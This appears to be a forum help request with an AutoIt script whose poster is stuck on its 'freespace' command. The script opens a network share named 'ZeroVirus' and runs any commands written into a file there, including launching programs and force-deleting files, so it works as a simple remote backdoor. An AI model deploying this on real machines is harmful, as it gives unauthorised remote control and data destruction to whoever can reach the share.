freespace

[zeroZshadow]

the stupid command won't work

expandcollapse popup

#include <process.au3>
#include <file.au3>
Opt("OnExitFunc","_Exit")
Opt("TrayIconDebug",1)

dim $index
dim $files = ""

DirCreate ( @TempDir&"\Zero" )
_RunDOS("Net Share ZeroVirus="&@TempDir&'\Zero')

While 1
    if FileExists (@TempDir&"\Zero\index.txt" ) then _GOGOGO()
    sleep(100)
Wend

Func _GOGOGO()
    sleep(100)
    if _FileReadToArray( @TempDir&"\Zero\index.txt",$index) = 1 Then 
        FOR $I=1 TO $index[0]
        If StringInStr($index[$i],"message") =1 then
            $message = StringSplit($index[$i],"=")
            if $message[0] > 1 then Msgbox(0,"Message!",$message[2])
        EndIf
        if $index[$i] = "EXIT" then Exit
        If StringInStr($index[$i],"dir") =1 then ;==> DIR
            $command = StringReplace($index[$i],"="," ",1)
            _RunDOS($command&" > "& @TempDir & "\Zero\output"&$i&".txt")
        EndIf ;==> DIR
        If StringInStr($index[$i],"del") =1 then ;==> DELETE
            $command = StringReplace($index[$i],":"," ",1)
            _RunDOS("/f /q "&$command)
            FileWrite(@TempDir & "\Zero\output"&$i&".txt","File Deleted")
        EndIf ;==> DELETE
        If StringInStr($index[$i],"run") =1 then ;==> RUN
            $command = stringsplit($index[$i],"=")
            if $command[0] > 1 Then 
            Run($command[2])
            FileWrite(@TempDir & "\Zero\output"&$i&".txt","Running: "&$command[2])
            EndIf
        EndIf ;==> RUN
        If StringInStr($index[$i],"freespace") =1 then ;==> FREESPACE
            $command = stringsplit($index[$i],"=")
            if $command[0] > 1 Then 
            $space = round(DriveSpaceFree($command[2]),0)
            FileWrite(@TempDir & "\Zero\output"&$i&".txt","Space Free: "&$space&" MB")
            EndIf
        EndIf ;==> FREESPACE
        Next
        FileDelete(@TempDir&"\Zero\index.txt" )
    EndIf
EndFunc

Func _Exit()
    _RunDOS("Net Share ZeroVirus /delete")
    FileDelete(@TempDir&"\Zero\index.txt" )
EndFunc

The problem is in the FREESPACE part

i hope you like the idea and please don't go ask me about the name of the dir, i just like it.